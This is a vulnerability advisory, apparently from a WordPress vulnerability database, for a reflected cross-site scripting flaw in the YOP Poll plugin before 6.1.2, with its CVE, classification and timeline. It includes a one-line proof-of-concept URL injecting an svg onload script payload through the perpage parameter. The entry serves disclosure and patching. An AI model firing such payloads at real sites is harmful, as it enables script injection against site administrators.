WordPress Plugin Vulnerabilities

YOP Poll < 6.1.2 - Reflected Cross-Site Scripting

Description

The plugin does not escape the perpage parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/admin.php?page=yop-polls&perpage="><svg/onload=alert(/XSS/)>

Affects Plugins

Plugin icon
yop-poll
Fixed in 6.1.2

References

CVE
CVE-2021-24885
URL
https://plugins.trac.wordpress.org/changeset/2227747/

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
8.8 (high)

Miscellaneous

Original Researcher
Mastur Fatullah
Verified
Yes
WPVDB ID
d0b312f8-8b16-45be-b5e5-bf9d4b3e9b1e

Timeline

Publicly Published
2020-01-15 (about 4 years ago)
Added
2021-10-19 (about 2 years ago)
Last Updated
2022-04-14 (about 2 years ago)

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